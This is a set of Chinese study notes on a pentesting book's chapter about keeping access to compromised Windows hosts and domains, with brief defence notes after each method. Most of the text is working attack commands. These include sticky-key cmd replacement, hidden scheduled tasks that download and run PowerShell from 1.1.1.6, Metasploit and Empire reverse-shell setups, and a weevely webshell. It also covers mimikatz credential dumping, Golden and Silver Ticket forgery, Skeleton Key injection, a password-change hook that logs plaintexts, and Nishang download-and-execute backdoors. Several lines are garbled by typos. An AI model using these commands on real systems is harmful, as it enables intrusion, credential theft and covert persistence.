内网安全攻防:渗透测试指南——第8章 权限维持分析及防御
第8章 权限维持分析及防御
目录
8.3.7 Hook PasswordChangeNotify
第8章权限维持分析及防御
后门是一个留在目标主机上的软件,它可以使攻击者随时与目标主机进行连接。在大多数情况下,后门是一个运行在目标主机上的隐藏进程。因为后门可能允许一个普通的授权的用户控制计算机,所以攻击者经常使用后门来控制服务器。攻击者在提升权限之后,往往会通过建立后门来维持对目标主机的控制权。这样一来,即使修复了被攻击者利用的系统漏洞,攻击者还是可以通过后门继续控制目标系统。因此如果我们能够了解攻击者在系统中建立后门的方法和思路,就可以在发现系统被人侵后快速找到攻击者留下的后门并将其清除。
8.1操作系统后门分析与防范
操作系统后门,泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法。系统维护人员可以清除操作系统中的后门,以恢复目标系统安全控制体系的正规用户认证过程。
8.1.1粘滞键后门
粘滞键后门是一种比较常见的持续控制方法。在Windors主机上连续按5次"Shit" 健,就可以调出粘滞键。Windws 的粘滞键主要是为无法同时按多个按键的用户设计的,例如,在使用组合健Curl+P时用户需要同时按下"Cur"和P两个键,如果使用粘滞键来实现组合键"Ctrl+P"的功能,就只需按一个键。
粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要功能是方便Shift等键的组合使用。 粘滞键可以先按一个键位(如shift),再按另一键位,而不是同时按下两个键位,方便某些因身体原因而无法同时按下多键的人。一般的电脑连按五次shift会出现粘滞键提示。
用可执行文件sethe.exe.bak替换windows\system32目录下的sethc.exe
-
cd windows\system32
-
move sethc.exe sethc.exe.bak
-
copy comd.exe sethc.exe #连续按5次shift键,将弹出命令行窗口。可以直接以system权限执行系统命令
使用empire
-
(Empire: VTHWYU2M) > usemodule lateral_movement/invoke_wmi_debugger
-
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > info
-
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set Listener sec
-
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set ComputerName win7
-
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set TargetBinary sethc.exe
-
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > execute
-
在目标系统上连续按5次shift键触发后门
针对粘滞键后门,可以采取如下防范措施。
- 在远程登录服务器时,连续按5次“"Shift” 键,判断服务器是否被人侵。
- 拒绝使用setch.exe或者在“控制面板”中关闭“启用粘滞键”选项。
补充下cmd的操作,注意替换默认的sethc.exe需要管理员权限:
如果我们有一个windows后门,只需要敲击「shift」5次,就弹出一个命令行窗口,这样就极大的方便了我们的工作效率。实际上,后门的存在就是为了方便工作的,只不过被黑客恶意利用罢了。由此可以见,网络技术也是一枚双刃剑,好坏全看执剑人。
第一步:设置所有者
这个实验极其简单,只需要做一点点小小的设置。首先找到sethc.exe
文件,然后点击属性,选择所有者,编辑,选择当前所有者为Administrator
。
第二步:勾选完全控制
让Administrator拥有完全控制权限,这样就可以对它进行改名字,或者删除。建议改名字,做完实验再改回来。
第三步:复制cmd.exe
复制一份cmd.exe
文件,改名成sethc.exe
,这样就大功告成了。
第四步:见证奇迹
可以在任何地方,任何时候,连续敲击5次「shift」,就会弹出cmd.exe
命令行窗口。
8.1.2注册表注入后门
在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键HKCU:Sofware\Microsoft\Windows\CurrentVersion\Run中( 键名可以任意设置)。
在Empire下也可以实现这-功能。 输人"usemodule persistence/userland/registry"命令,模块运行后,会在目标主机的启动项里增加一个命令。
-
(Empire: Y9XHUM1V) > usemodule persistence/userland/registry
-
(Empire: powershell/persistence/userland/registry) > set Listener sec
-
(Empire: powershell/persistence/userland/registry) > set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
-
(Empire: powershell/persistence/userland/registry) > execute
-
-
当管理员登陆系统时,后门就会运行,反弹成功
杀毒软件针对此类后门有专门的查杀机制,当发现系统中存在后门时会弹出提示框。根据提示内容,采取相应的措施,即可删除此类后门。
8.1.3计划任务后门
计划任务在Windows7及之前版本的操作系统中使用at命令调用,在从Windows8 版本开始的操作系统中使用schtasks 命令调用。计划任务后门分为管理员权限和普通用户权限两种。管理员权限的后门可以设置更多的计划任务,例如重启后运行等。
计划任务后门的基本命令如下。该命令表示每小时执行一次 notepad.exe。
schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
常见的渗透测试平台中模拟计划任务后门进行安全测试的方法。
1.在Metaplont中模报计划任务后门
使用Poweshell payload web delivery模块,可以模拟攻击者在目标系统中快速建立会话的行为。因为该行为不会被写人磁盘, 所以安全防护软件不会对该行为进行检测。
-
msf6 > use exploit/multi/script/web_delivery
-
msf6 exploit(multi/script/web_delivery) > set target 2
-
target => 2
-
msf6 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
-
payload => windows/meterpreter/reverse_tcp
-
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.6
-
lhost => 1.1.1.6
-
msf6 exploit(multi/script/web_delivery) > set lport 443
-
lport => 443
-
msf6 exploit(multi/script/web_delivery) > set URIP
-
set URIPATH set URIPORT
-
msf6 exploit(multi/script/web_delivery) > set URIPATH /
-
URIPATH => /
-
msf6 exploit(multi/script/web_delivery) > exploit
在目标系统中输入生成的后门代码,生成新的会话
C:\Users\Administrator.US>schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onlogon /ru System
-
(1)用户登录
-
-
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onlogon /ru System
-
-
(2)系统启动
-
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onstart /ru System
-
-
(3)系统空闲
-
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onidle /i 1
2.在PowerSploit中模拟计划任务后门
-
生成persistence.ps1,是计划任务执行的payload
-
PS C:\Users\Administrator.US\Downloads> Import-Module .\Persistence.psm1
-
$ElevateOptions = New-ElevatedPersistenceOption -ScheduleTask -OnIdle
-
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
-
Add-PERSISTENCE -FilePath ./shuteer.ps1 -ElevatedPersistenceOption
-
$ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
msfvenom -p windows/x64/meterpreter/reverse_https lhost=1.1.1.6 lport=443 -f psh-reflection -o shuteer.ps1
将上边生成的persistence.ps1放到web服务器,在目标主机中执行。当主机处于空闲时,就会执行如下命令。反弹一个meterpreter会话。
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.6/Persistence.ps1');"
3.在empire中模拟计划任务后门
-
(Empire: KB5XYCVA) > usemodule persistence/elevated/schtasks
-
(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 17:37
-
(Empire: powershell/persistence/elevated/schtasks) > set Listener sec
-
(Empire: powershell/persistence/elevated/schtasks) > execute
对计划任务后门,有效的防范措施是:安装安全防护软件并对系统进行扫描;及时为系统打补丁;在内网中使用强度较高的密码。
8.1.6WMI型后门
看一个2015年的例子就明白了
0x05 WMI后门--本质上还是计划任务里执行ps1脚本,不知道计划任务里是否有添加,todo,EDR case需深入
在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit,下面用它的Persistence模块来示范一个简单的例子。
Import-Module .PersistencePersistence.psm1 $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' $UserOptions = New-UserPersistenceOption -Registry -AtLogon Add-Persistence -FilePath .EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
--------
WMI型后门只能由具有管理员权限的用户运行。WMI型后门通常是用PowerShell编写的可以直接从新的WMI属性中读取和执行后门代码、给代码加密。通过这种方法,攻击者可以在系统中安装一个具有持久性的后门,且不会在系统磁盘中留下任何文件。WMI型后门主要使用了WMI的两个特征,即无文件和无进程。其基本原理是:将代码加密存储于WMI中,达到所谓的“无文件";当设定的条件被满足时,系统将自动启动PowerShell 进程去执行后门程序,执行后,进程将会消失(持续时间根据后门的运行情况而定,一般是几秒).达到所谓的“无进程”。
在Empire下使用Invoke-WMI模块。
-
(Empire: KB5XYCVA) > usemodule persistence/elevated/wmi
-
(Empire: powershell/persistence/elevated/wmi) > info
-
(Empire: powershell/persistence/elevated/wmi) > set DailyTime 17:45
-
(Empire: powershell/persistence/elevated/wmi) > set Listener sec
-
(Empire: powershell/persistence/elevated/wmi) > run
检查目标主机主是否存在WMI后门
-
PS C:\Users\Administrator.US\Downloads> Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer -FILT
-
ER "Name='Updater'"
清除WMI后门得到方法:删除自动运行列表中的恶意WMI条目,在powershell中用get-wmiobject命令删除与WMI持久化的组件。
8.2 Web后门分析与防范
Web后门俗称WebShell,是一段包含 ASP、ASP.NET、PHP、JSP程序的网页代码。这些代码都运行在服务器上。攻击者会通过一-段精心设计的代码, 在服务器上进行一些危险的操作, 以获取某些敏感的技术信息,或者通过渗透和提权来获得服务器的控制权。IDS、杀毒软件和安全工具一般都能将攻击者设置的Web后门检测出来。不过,有些攻击者会编写专用的Web后门来隐藏自己的行为。
8.2.1Nishang下的WebShell
8.2.2 weevely 后门
weevely 是款用 Python语言编写的针对PHP平台的WebShell 其主要功能如下。
- 执行命令和测览远程文件。
- 检测常见的服务器配置问题。
- 创建TCP Shell和Reverse Shell,
- 打扫描端口。
- 安装HTTP代理。
-
weevely url password cmd #连接一句话
-
weevely session path cmd #加载会话文件
-
weevely generate password path 生成后门代理
生成一句话并上传至目标服务器
-
weevely generate test test.php
-
-
weevely http://1.1.1.6/test.php test
-
audit_suidsgid 通过SUID和SGID查找文件,
-
audit_filesystem 用于进行错误权限审计的系统文件。
-
audit_etcpasswd 通过其他方式获取的密码,
-
shell_php 执行PHP命令。
-
shell_sh 执行Shell命令。
-
shell_su 利用su命令提权。
-
system_extensions 收集PHP和Web服务器的延伸列表,
-
system_info 收集系统信息。
-
backdoor_tcp 在TCP端口处生成一个后门。
-
sql_dump 导出数据表。
-
sql_console 执行SQL查询命令或者启动控制台。
-
net_ifconfig 获取目标网络的地址。
-
net_proxy 通过本地HTTP端口设置代理。
-
net_scan 扫描TCP端口。
-
net_curl 远程执行HTTP请求。
-
net_phpproxy 在目标系统中安装PHP代理。
8.3域控制器权限持久化与分析
在获得域控制器的权限后,攻击者通常会对现有的权限进行持久化操作。本节将分所攻击者在拥有域管理员权限后将权限持久化的方法,并给出相应的防范措施。
8.3.1 DSRM 域后门
1. DSRM域后门简介
DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil 命令行工具。在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版木的系统中不需要安装此补丁。如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作。
我们知道,每个域控制器都有本地管理员账号和密码(与城管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理品用户, 通过网络连接城控制器, 进而控制域控制器。
2.修改DSRM密码的方法
微软公布了修改DSRM密码的方法。在城控制器上打开令行环境,常用命令说明如下,
-
NTDSUTIL: 打开ndsuil
-
set dsrm password:设置DSRM的密码。
-
reset pssword on server null:在当前域控制器上恢复DSRM密码。
-
<PASSWORD>:修改后的密码。
-
q(第1次):退出DSRM密码设置模式。
-
q(第2次):退出ntdsutil
如果域控制器的系统版本为Windows Server 208已安装KB961320 及以上,可以将DSRM密码同步为已存在的域账号密码。常用命令说明如下。
-
NTDSUTIL: 打开ntdsutil。
-
SET DSRM PASSWORD:设置DSRM的密码。
-
SYNC FROM DOMAIN ACCOUNT domainusername:使DSRM的密码和指定域用户的密码同步。
-
q(第1次):退出DSRM密码设置模式。
-
q(第2次):退出ntdsutil。
3.实验操作
(1)使用mimikatz查看krbtgt 的NTLM Hash在域控制器中打开mikaiz,分别输人如下命令。
-
privilege::debug
-
lsadump::lsa /patch /name:krbtgt
(2)mimikatz查看并获取SAM文件中本地管理员的NTML
-
token::elevate
-
lsadump::sam
(3)将DSRM账号和krbtgt的NTML HASH同步
-
PS C:\Users\Administrator\Desktop> NTDSUTIL
-
C:\Windows\system32\ntdsutil.exe: SET DSRM PASSWORD
-
重置 DSRM 管理员密码: SYNC FROM DOMAIN account krbtgt
-
已成功同步密码。
-
-
重置 DSRM 管理员密码: q
-
C:\Windows\system32\ntdsutil.exe: q
(4)查看DSRM的NTML Hash是否同步成功
(5)修改DSRM的登录方式
DSRM的三种登录方式,具体如下。
- 0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
- 1: 只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
- 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。
在渗透测试中需要注意,在Windows Server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制。
如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输人如下命令,可以使用PowerShell进行更改
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
(6)使用DSRM账号通过网络远程登录域控制器
使用mimikatz进行哈希传递
-
privilege::debug
-
sekurlsa::pth /domain:WIN-2012 /user:Administrator /ntml:6c4a2964d522d7160865d90f88392aac
(7)使用Mimikatz的scysnc功能远程转储krbtgt的NTML Hash
lsadump::dcsync /domain:pentest.com /dc:dc /user:krbtgt
DSRM域后门的防御措施
- 定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1, 或者删除该键值。==》EDR case
- 定期修改城中所有城控制器的DSRM账号。
- 经常检查ID为4794的日志。当试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。==》EDR case
8.2 SSP 维持域控权限
SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DlL文件,主要用来实现Windows操作系统的身份认证功能,例如NTLM、Ketberos,Negotiare. Seure Channe (Schannel )、Digest、Credental ( CredSSP )。
SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。
如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作。其主要原理是: LSA (Local Security Authority)用于身份验证; lsass.exe 作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。【进程注入?】这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。
第一个实验是使用mimikatz将伪造的SSP注人内存。这样做不会在系统中留下二进制文件,但如果域控制器重启,被注人内存的伪造的SSP将会丢失。在实际网络维护中,可以针对这一点采取相应的防御措施。
-
privilege::debug
-
misc::memssp
注销当前用户。输入用户名和密码后重新登录,获取明文密码,密码存储在日志文件C:\Windows\System32\mimilsa.log中。
第二个实验是将mimikatz中的mimilib.dll放到系统的C:\Windows\System32\目录下,并将mimilib添加到注册表中。使用这种方法,系统重启也不会影响持久化的效果。
将mimikatz中的mimilib.dll复制到系统的C:\Windows\System32\目录下
修改HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages 项,加载新的DLL文件
2. SSP维持域控制器权限的防御措施
- 检查HKEY LOCAL MCNSSrCnContooCotroro sScrt Packages 项中是否含有可疑的DLL文件。
- 检查C:WindowsSystem32\目录下是否有可疑的DLL文件。
- 使用第三方工具检查LSA中是否有可疑的DLL文件。==》EDR case
8.3.3 SID History域后门
每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。SID History是在域迁移过程中需要使用的个属性。如果将A域中的域用户迁移到B域中,那么在B域中新建的用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mikaz,可以将SID History 属性添加到域中任意用户的SID History 属性中。在渗透测试中,如果获得了域管理员权限(或者等同于域管理员的权限).就可以将SIDHisoy作为实现持久化的方法。
1.实验操作
将Anisatorn的SID添加到恶意用户test 的SID History属性中。使用powershell查看用户的SID History属性==》可疑的powershell进程。。。
-
PS C:\Users\Administrator> Import-Module ActiveDirectory
-
PS C:\Users\Administrator> Get-ADUser test -Properties sidhistory
打开一个具有域管理员权限的命令行窗口,然后打开mimikatz将Admnistrator的SID添加到test用户的SID Histery 属性中。需要注意的是:在使用mimikatz注人SID之前,需要使用*sid ::patch"命令修复NTDS服务,否则无法将高权限的SID注人低权限用户的SID
Hisory属性: mimkaz在2.1版本以后,将mscasidd模块转移到了sid::add模块下。
-
privilege::debug
-
sid::add /sam:test /new:Administrator
再次使用PowerShell查看test用户的SID History,尝试列出域控制器C盘的目录 dir \\dc\c$
2.SID History域后门的防御措施
- 可以通过注入 SID History属性完成持久化任务。
- 拥有高权限 SID的用户,可以使用PowerShell远程导出域控制器的ntds.dit。
- 如果不再需要通过 SID History属性实现持久化,可以使用sid::clear /sam:username 清除SID History的属性。
SID History域后门的防御措施如下。
- 经常查看域用户中SID为500的用户。
- 完成域迁移工作后,对有相同SID History属性的用户进定期检查ID为4765和4766的日志。4765为将 SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。==》数据采集
8.3.4 Golden Ticket
在渗透测试过程中,如果发现系统中存在恶意行为,应及时更改域管理员密码,对受控机器进行断网处理,然后进行日志分析及取证。然而,攻击者往往会给自己留下多条进入内网的通道,如果我们忘记将krbtgt 账号重置,攻击者就能快速重新那会域控制器权限。
在本节的实验中,假设域内存在一个SID为502的域账号krbtgt。 krbtgt是 KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的 NTLM Hash或者 AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。攻击者在使用域的 Golden Ticket(黄金票据)进行票据传递攻击时,通堂要堂握以下信息。
- 需要伪造的域管理员用户名。
- 完整的域名。
- 域SID。krbtgt 的 NTLM Hash或AES-256值。
下面通过一个实验来分析 Golden Ticket
- 域控制器:1.1.1.13
- 域名:us.pentest.com
- 用户名:administrator
- 密码:123456Aa
域成员服务器
- 1.1.1.7
- 域名:us.pentest.com
- 用户名:Administrator
1.导出krbtgt的NTML Hash
-
privilege::debug
-
lsadump::dcsync /domain:us.pentest.com /user:krbtgt
该方法使用DCSYNC功能远程转储活动目录中的ntds.dit。指定/user参数,可以只导出krbtgt账号的信息。
2.获取基本信息
-
(1)获取域SID
-
wmic useracoount get name,id
-
-
(2)获取当前用户的sid
-
whoami /user
-
-
(3)查询域管理员账户
-
net group "domain admins" /domain
-
-
(4)查询域名
-
ipconfig /all
3.实验操作
-
在获取目标主机的权限后,查看当前用户及其所属的组。
-
net user Administrator /domain
-
-
dir \\dc\c$ 在注入票据前会提示权限不足。
-
-
(1)清空票据
-
kerberos::purge
-
-
(2)生成票据,使用mimikatz生成包含krbtgt身份的票据
-
kerberos::golden /admin:Administrator /domain:us.pentest.com /sid: /krbtgt: /ticket:Administrator.kiribi
-
-
(3)传递票据并注入内存
-
kerberos::ptt Administrator.kiribi
-
-
(4)检索当前会话中的票据
-
kerberos::tgt
4.验证权限
-
dir \\dc\c$
-
在当前会话中使用wmiexec.vbs验证
-
cscript wmiexec.vbs /shell dc
-
-
-
使用krbtgt的AES-256生成票据并将其注入内存,也可以伪造用户。
-
kerberos::golden /admin:Administrator /domain:us.pentest.com /sid: /aes256: /ticket:Administrator.kiribi
5. Golden Ticket 攻击的防御措施
管理员通常会修改域管理员的密码,但有时会忘记将 krbtgt密码一并重置,所以,如果想防御 Golden Ticket攻击,就需要将krbtgt密码重置两次。
使用Golden Ticket 伪造的用户可以是任意用户(即使这个用户不存在)。因为 TGT的加密是由krbtgt完成的,所以,只要 TGT被krbtgt账户和密码正确地加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。只有在如下两种情况下才能修改krbtgt密码。
- 域功能级别从 Windows 2000或 Windows Server 2003提升至Windows Server 2008或WindowsServer 2012。在提升域功能的过程中,krbtgt的密码会被自动修改。在大型企业中,域功能级别的提升耗时费力,绝大多数企业不会去提升自己的域功能级别,而这给 Golden Ticket攻击留下了可乘之机。
- 用户自行进行安全检查和相关服务加固时会修改krbtgt 的密码。
8.3.5 Silver Ticket
Silver Ticket(白银票据不同于 Golden Ticket, Silver Ticket的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要KDC颁发TGT,且在生成伪造的TGT 的20分钟内,TGS不会对该TGT 的真伪进行校验。
Silver Ticket 依赖于服务账号的密码散列值,这不同于 Golden Tickett账号的密码散列值,因此更加隐蔽。
Golden Ticket使用krbtgt账号的密码散列值,利用伪造高权限任意服务访回权限的票据,从而获得域控制器权限。而Silver Ticket会通过相应的服务账号来伪造TGS,例如LDAP、 MSSQL、WinRM、 DNS、CIFS 等,范围有限,只能获取有限的权限。
Golden Ticket是由krbtgt账号加密的,而Silver Ticket是由特定的服务账号加密的。
击者在使用si ide对内网进行攻击时,需要掌握以下信息。
- 域名
- 域SID
- 目标服务器的FQDN
- 可利用的服务
- 服务账号的NTLM Hash
- 需要伪造的用户名
1实验:使用Silver Ticket伪造CIFS服务权限
CIFS服务通常用于Windows主机之间的文件共享。
在本实验中,首先使用当前域用户权限,查询对域控制器的共享目录的访问权限
-
dir \\dc\c$
-
-
mimikatz log "privilege::debg" "sekurlsa::logonpasswords" 获取服务账户的NTML
-
-
klist purge 清空票据,防止干扰
-
-
-
使用伪造的silver ticket,在不能访问域控制器共享目录的机器中输入
-
kerberos::golden /domain:us.pentest.com /sid: /target:pentest.com /service:cifs /ec4: /user:administrator /ptt
-
-
验证权限
2.实验:使用Silver Ticket伪造LDAP服务权限
在本实验中,使用deyne从域控制器中获取指定用户的账号和密码散列值,例如krbtgt,测试以当前权限是否可以使用dcsync
-
lsadump::dcsync /dc:us.pentest.com /domain:pentest.com /user:krbtgt
-
获取失败,说明不能以当前权限进行dcsync操作
-
在域控中获取服务账号的NTML
-
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
-
klist purge
-
-
使用mimikatz生成伪造的Silver Ticket
-
kerberos::golden /domain:pentest.com /sid: /target:us.pentest.com /service LDAP /rc4: /user:test /ptt
-
-
lsadump::dcsync /dc:us.pentest.com /domain:pentest.com /user:krbtgt 再次查询散列值
Silver Ticket还可用于伪造其他服务,例如创建和修改计划任务、使用WMI对远程主机执行命令、使用PowerShell对远程主机进行管理等
3. Silver Ticket攻击的防御措施
- 在内网中安装杀毒软件,及时更新系统补丁。
- 使用组策略在域中进行相应的配置,限制mimikatz在网络中的使用
- 计算机的账号和密码默认每30天更改次。 检查该设置是否生效
8.3.6 Skeleton Key
使用Skeleton Key(万能密码),可以对域内权限进行持久化操作。
实验环境
域名:lab.com
域控制器
- 主机名:dc
- 1.1.1.12
- administrator
成员服务器
- 主机名:win7
- 1.1.1.7
- 用户名:test
1.在mimikatz中实验Skeleton Key
-
dir \\1.1.1.12\c$ #权限不足
-
-
net use \\1.1.1.12\ipc$ "123456Aa" /user:pentest.lab\administrator
-
-
在域控制器中管理员权限打开mimikatz,将Skeleton Key注入域控中的lsass.exe进程
-
privilege::debug
-
misc::skeleton
-
-
注入成功后,会在域内所有的账号中添加一个Skeleton Key,默认密码为mimikatz。接下来可以在域内任意用户的身份,配合该Skeleton Key,进行域内身份验证授权了。
-
在不使用域管理员原始密码的情况下,使用注入的万能密码。
-
net use
-
net use \\1.1.1.12\ipc$ /del /y
-
-
net use \\1.1.1.12\ipc$ "mimikatz" /user:pentest.lab\administrator
-
dir \\dc\c$
2.在empire中使用Skeleton KEY
-
(Empire: agents) > interact KFSV7YB1
-
(Empire: KFSV7YB1) > usemodule persistence/misc/skeleton_key
-
(Empire: powershell/persistence/misc/skeleton_key) > execute
-
将skeleton_key注入后,empire提示可以通过mimikatz进入系统
3. Skeleton Key攻击的防御措施
2014年,微软在Windows操作系统中增加了LSA保护策略,以防止Isass.cxe进程被恶意注入。从而防止mimikatz在非允作的情况下提升到debug权限。通用的Skeleton Key的防御措施列举如下。
- 域管理员用户要设置强口令,确保恶意代码不会在城控制器中执行。
- 在所有城用户中启用双因子认证,例如智能卡认证。
- 启动(例如应用程序白名单例如AppLocker以限制mimikatz在域控制器中的运行。
- 在日常网络维护中注意以下方面,也可以有效防范Skeleton Key
- 只能在64位操作系统中使用,包括WinwnSren2012、Winds Sener 2012、Windows Sever 200 Windows Sever 2008 R2、WindowServer 2003 R2、Windows Server 2003。
- 只有具有城管理员权限的用户可以将SleloKeo注人城控制器的lass cxe进程。
- Seleton Key被注人后,用户使用现有的密码仍然可以登录系统。
- 因为Selcton Key是被注入lsass.exeexe进程的,所以它只存在于内存中。如果域控制器重启,注人的Skeleton Key将会失效。
8.3.7 Hook PasswordChangeNotify
Hook PaswordChangeNoify的作用是当用户修改密码后在系统中进行同步。攻击者可以利用该功能获取用户修改密码时输人的密码明文。
在修改密码时,用户输人新密码后,LSA会调用PasswordFileter来检查该密码是否符合复杂性要求。如果密码符合复杂性要求,LSA会调用PasswordChangeNotify,在系统中同步密码。
1.实验操作
分别输人如下命令,使用Invoke RefletivePEIniection.psl将HookPasswordChange.dl注人内存,在目标系统中启动管理员权限的PowerShell
-
Import-Module .\Invoke-ReflectivePEInjection.psl
-
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
修改用户密码
-
net user administrator 123
-
-
查看c:\windows\temp\passwords.txt可以看到修改后的密码
2. Hook PasswordChangeNotify的防御措施
使用Hook PasswordChangeNotify方法不需要重启系统、不会在系统磁盘中留下DLL文件、不需要修改注册表。如果PasswordChangeNotify被攻击者利用,网络管理员是很难检测到的。所以,在日常网络维护工作中,需要对PowerShell进行严格的监视,并启用约束语言模式,对HookPasswordChangeNotify进行防御。
8.4 Nishang 下的脚本后门分析与防范
Nishang 是基于Porsthel的渗透测试工具,集成了很多框架、脚本及各种 Payload在Nishang环境中对一些脚本后门进行分析。
1. HTTP-Backdoor脚本
此脚本可以帮助攻击者在目标主机上下载和执行Powershell脚本,接收来自第三方网站的指令,在内存中执行PowerShell脚本,其语法如下。
-
TTP-Backdoor -CheckURL http:// -PayloadURL http:// -MagicString start -StopString stop
-
-
CheckURL:给出一个URL地址。如果该地址存在,Magistring中的值就会执行Payload,下载并运行攻击者的脚本。
-
-PayloadURL: 给出需要下载的PowerShell脚本的地址。
-
-StopString: 判断是否存在CheckURL返回的字符串,如果存在则停止执行。
2.Add-ScrnSaveBackdoor
-
Add ScrnSaveBackdoor脚本可以帮助攻击者利用Windows的屏幕保护程序来安插一个隐藏的后门
-
-
Add-ScrnSaveBackdoor -Payload "powershe1l.exe -ExecutionPolicy Bypass -ncprofile -noexit -c Get-Process" ##执行Payload
-
-
Add-ScrnsaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm -Arguments HTTP-Backdoor http://... start123 stopthis #在PowerShell中执行一个HTTP-Backdoor脚本
-
-
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code exec.psl -PayloadURL:指定需要下载的脚本的地址。
-
-
Arguments:指定需要执行的函数及相关参数。
-
攻击者也会使用msfvenom生成一个PowerShell, 然后执行如下命令,返回一个meterpreter。
-
-
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell
3. Execute- -OnTime
-
Execute-OnTime脚本用于在目标主机上指定PowerShell脚本的执行时间,与HTTP-Backdoor脚本的使用方法相似,只不过增加了定时功能,其语法如下。
-
-
PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get- Information -Time 23:21 -CheckURL http:/ /pastebin. com/ raw .php?i=zhyf8rwh一 Stopstring stoppayload
-
PayloadURL:指定下载的脚本的地址。
-
-Arguments: 指定要执行的函数名。
-
-Time: 设置脚本执行的时间,例如“-Time 23:21”。
-
-CheckURL:检测一个指定的URL里是否存在StopString给出的字符串,如果存在就停止执行。
4. Invoke- ADSBackdoor
Invoke-ADSBackdoor脚本能够在NTFS数据流中留下一个 永久性的后门。这种方法的威胁是很大的,因为其留下的后门是永久性的,且不容易被发现。
Invoke-ADSBackdoor脚本用于向ADS注人代码并以普通用户权限运行。
PS >Invoke-ADSBackdoor -PayloadURL http://192.168.12.110/test.ps1